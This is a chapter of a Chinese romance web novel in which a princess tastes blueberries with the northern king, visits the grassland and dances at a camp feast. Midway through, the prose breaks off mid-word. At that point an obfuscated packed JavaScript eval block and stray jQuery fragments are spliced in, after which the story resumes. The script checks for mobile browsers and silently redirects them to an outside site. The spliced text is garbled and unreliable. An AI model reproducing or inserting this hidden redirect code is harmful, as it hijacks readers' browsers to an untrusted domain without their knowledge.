11.草原

作品:《塞北花,江南雪

    雨打屋檐。


    黑水的盛夏在悄无声息间降临,早已换上一袭单薄衣袍的公主独坐窗边,注视着雨后屋檐下淅淅沥沥的雨滴。属于夏季的燥热被雨水冲洗,连景园中盛放的花都被带走了尘埃。


    “公主。”


    脚步声由远及近,一盘都柿轻轻落在了花韵之身边。花韵之正欲看向来人,一颗仿若宝石的蓝果便先抵到他的唇上,轻蹭了蹭。


    “张口。”


    水润的蓝果带着新鲜的井水。花韵之顿了顿,便乖巧地张口含住。


    公主是未曾见过都柿的。


    纵使北地亦有进贡,但不受宠的公主如何能吃到贡品呢?何况都柿这般不宜保存的鲜果,就连他受宠的兄弟姐妹都仅能见见。


    但不知是信任孤邙王,还是不得不遵从孤邙王。纵使不认得这鲜果,公主仍以舌尖将果实卷到齿间,并在孤邙王的注视中轻轻咬下。


    ——好甜!


    清甜的汁水迸发,垂眸看着不自觉眯起眼的花韵之,独孤朔又捻起一颗都柿,递到了花韵之的唇边。


    花韵之再度张口含住。


    似乎是不小心,两瓣柔软的唇在这次轻轻擦过了独孤朔的指尖。而在将其送入口中后,像是兔子一样乖巧的公主抬首,对着独孤朔弯起眼睛。


    独孤朔的指尖蜷了蜷。


    “公主可喜欢。”


    男人的大手轻轻擦过公主唇角的水珠。弯起唇,花韵之轻蹭了蹭独孤朔的掌心:“多谢王上,我很喜欢。”


    垂眸看向主动贴在自己掌心的小脸,独孤朔面无表情地捏了捏公主脸颊上的软肉。看着当即睁大眼,似因为他的动作而无措的公主,独孤朔的眉目似乎也柔和三分。


    “公主。”


    安抚性地蹭了蹭公主的脸颊,独孤朔落下手,坐到了一旁的位置上:“这是都柿,其果味甜,其花亦美。公主若喜欢,可去农务府选些种到院中,亲手培育。”


    方才被轻轻揉搓的脸颊留下了些许浅淡的痕迹。而似乎没想到独孤朔会这么说,花韵之愣了愣。


    耳根在无声无息间烧红,沉默良久后,花韵之似想起什么难以启齿之事般垂下首:“多谢王上,但我……”


    “不善养花。”


    说来惭愧,公主虽爱花,但自小养什么什么短寿。就连公主母妃宫中的柿子树在公主接手后,也只勉强活过了一个冬天。


    听罢公主小心翼翼的解释,独孤朔似乎想起了什么,生来冷峻的眉眼无声柔和。注视着怯怯的公主,独孤朔缓声道:“若是如此,公主可全权交予侍从打理。”


    略显迟疑的公主沉默许久,终是点头。


    “嗯。”


    轻轻吐出一口气,花韵之弯起红唇,看向独孤朔:“多谢王上。”


    ……


    这场雨断断续续下了三日。


    而在倾盆大雨彻底停歇后,农务府便将尚未结果的几盆都柿移到了公主的院落。只是公主还未来得及欣赏都柿即将盛开的花,酷暑便悄无声息地降临这片土地。


    北地冬日极寒,却也四季分明。先前那般的夏季大雨在黑水绝非少见,只是今年落雨后更加燥热的暑期却令人出乎意料。


    土地干涸,花儿的叶子萎靡,几乎要将人焚化的烈日炙烤。虽仍不比江南炎热,但不同于湿热,这过分干燥的环境闷燥,令初来乍到的花韵之深觉自己将要枯萎,只得躲在阴凉的殿内,一杯杯灌茶水入腹。


    于是,顺理成章的。


    松漠草原上再度支起了一个个毡包,而那位中原的公主也第一次来到了这里,来到了漫无边际的绿色中。


    “公主。”


    或许是终于阴凉下来,不再燥热。高马之上,被男人圈在怀中的公主好奇地左右张望。他像是初来乍到的猫儿,警惕却又探索着周围,令独孤朔有些忍俊不禁。


    牵了牵唇角,独孤朔俯首看向回眸的花韵之。轻轻开口:“公主可想下来走走。”


    花韵之小心翼翼地点头,但那双蜜色杏眸此时却盛满了兴奋与笑意。细细看去,就好似已经自树上长出、微微泛起黄色的山李子,让人看着便口舌生津。


    孤邙是自草原蔓延开的种族。


    若非前朝将他们迁徙自黑水与罗荒野戍边,他们至今都在松漠草原之上,以放牧为生。


    “公主,小心。”


    被抱下高马,轻轻松开男人脖颈的花韵之对独孤朔笑了笑,便回眸看向几乎与天连做一体的青草。望不到尽头的草原为笼罩四野的穹庐染上了青绿,远处的天甚至都变作了碧色。


    微风拂过公主的发梢,也压低了高高的青草。星星点点的牛羊与马缀在草原中,好似缀在银汉里的星辰,令公主不自觉屏住了呼吸。


    天苍苍,野茫茫。


    ……风吹草低见牛羊。


    携着青草与泥土气息的风冷冷,令公主的躯体与灵魂一同战栗。指尖颤了颤,心中有万千思绪却不知从何说起的花韵之看向独孤朔。而独孤朔似乎一直在静静看他,却直到他抬眸之际才开口:“公主可喜欢此处。”


    花韵之毫不犹豫:“嗯。”


    他勾起唇角,轻声道:“我很喜欢这里……”


    独孤朔似乎笑了笑,牵起花韵之的手,淡声道:“既如此,公主可要与我在此漫步。”


    眼眸弯弯,公主回握住王的手。


    “嗯!”


    ……


    松漠草原很大,一日无论如何都走不完。但花韵之也没有异想天开,妄图以双脚丈量这片草原。


    仿佛自天蔓延开的绿意令人身心舒畅。纵使很想迎着风走回营地,但奈何公主的身躯过分脆弱。有心无力的花韵之只勉强走了一半多的路,便被独孤朔抱回了马上,慢悠悠地回到了驻扎的营地。


    王的毡包在营地的最中心。


    迎着一众似有若无的目光,窝在独孤朔怀中的花韵之只觉得心在乱跳。紧绷着身体的公主悄无声息地红了耳根,红润的唇紧紧抿起,花韵之微微侧首,试图将自己藏在独孤朔的怀中,让别人看不到他的面庞。


    公主的羞怯显而易见。


    高马之上的王拽着缰绳,冷冷的视线扫过马下众人。而一众原本还在打量那位中原公主的王公贵族当即移开目光,或看天或看地或与人交谈,装的一副事不关己的模样。


    ……那些视线消失了。


    察觉到这点的花韵之悄悄抬起眼。他没有去看那些或恶意或善意的王公贵族,而是看向了独孤朔。其实,在公主的视角根本看不到什么,但似乎是察觉到公主的目光,独孤朔主动垂下首,面向面若桃花的公主。


    “怎么了,公主。”


    眼睫颤了颤,仍窝在男人怀中的花韵之感觉自己的耳朵似乎更烫了。公主轻轻咬唇,摇了摇头。


    但沉默良久后,花韵之又低低道了句:“……多谢王上。”


    握着缰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959835|176203||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    绳的手微微收紧,独孤朔似乎想说些什么。


    可最终,他也只道。


    “万事都有我在。”


    “公主,不必怕。”


    指尖不自觉刺入掌心,颤动的眼睫仿若蝶翼,花韵之在独孤朔怀中埋得愈发深了。


    而不知过了多久,低低的声音响起。


    “……嗯。”


    ……


    回到营地的时间已不早了。


    晚膳是围炉烤羊,花韵之有些吃不惯,却很香。


    待用过晚膳,围炉处便开始了歌舞。高亢的歌声随着琴声蔓延,而依照孤邙习俗,此时无论年轻与否男男女女,只要高兴都可以上去舞一支。


    身下的垫子很软,花韵之坐在独孤朔身旁,随着节拍轻轻晃着脑袋。


    事实上,公主对孤邙的歌曲并不熟悉,对这些孤邙贵族亦无几分好感。但乐舞总是会感染情绪,随着音乐愈发轻快起来,花韵之觉得自己有些莫名奇怪的心情似乎也轻快许多。


    “公主。”


    忽然。


    温热的气息扑在花韵之的耳尖,白净的肌肤无声无息地染上几分色彩。抬手掩住了自己的耳朵,花韵之看向独孤朔,而在方才几乎要吻上公主耳尖的孤邙王神色却淡然:“公主可想要舞一支。”


    花韵之微微睁大了眼。


    “……妾?”


    独孤朔静静注视着他。


    心绪微动,花韵之却轻轻抿起了唇:“可是,妾不会舞……”


    “无事。”在鼻尖几乎要撞上公主鼻尖的瞬间,独孤朔微微后撤。他向花韵之伸出手:“孤邙的舞并无约束。但若公主想学他们的舞步,我教公主,可好。”


    指尖不自觉蜷了蜷,但注视着那只粗粝的手,花韵之终是缓缓搭了上去。


    鼓起勇气的公主努力牵起唇角:“好……”


    王是一个好老师。


    或许是察觉到公主的紧张与羞怯,王引着公主来到了角落。而在王的引导下,公主紧绷的躯体渐渐放松,终随心而动。


    欢快的乐曲在耳边回荡,并不整齐的合唱萦绕在身旁。笑意绽放于红润的唇角,握住王做邀请姿态的手,花韵之的眉眼弯做了天边的月牙。


    无拘无束。


    公主其实不知道什么是无拘无束。


    孤邙的舞蹈自由,但公主却是被束缚住四肢的傀儡。


    大梁的皇宫像囚笼,将公主牢牢锁死在层层叠叠的宫墙下。在过去的十八年里,公主是目之所及皆是红墙金瓦与四四方方的天。而在这方天地里,他需要做皇室贵女,需要礼仪得体,需要内敛含蓄。


    纵使公主的母妃一直在教他圣贤书,教他一个寻常男子该学的知识,告诉他外界的天地究竟有多么宽广,公主也从未想过自己真的能走出深宫。


    可是现在。


    可是现在,他却在松漠草原上起舞。


    猎猎风声张狂,花韵之身上的衣袍翩翩。长长的黑发好似长长的尾巴,坠在公主的身后,随着公主的步伐晃动。


    跳的好看吗?


    花韵之不知道。


    但他想,他很开心。


    十指相扣的双手炙热,彼端却微微用力。


    顺着王的力道,花韵之顺从地摔入他的怀中。揽住纤细的腰肢,独孤朔似有些意外地看向怀中娇俏的公主。而花韵之抬起眼,对着王绽放出一个大大的笑容。


    他真的很开心。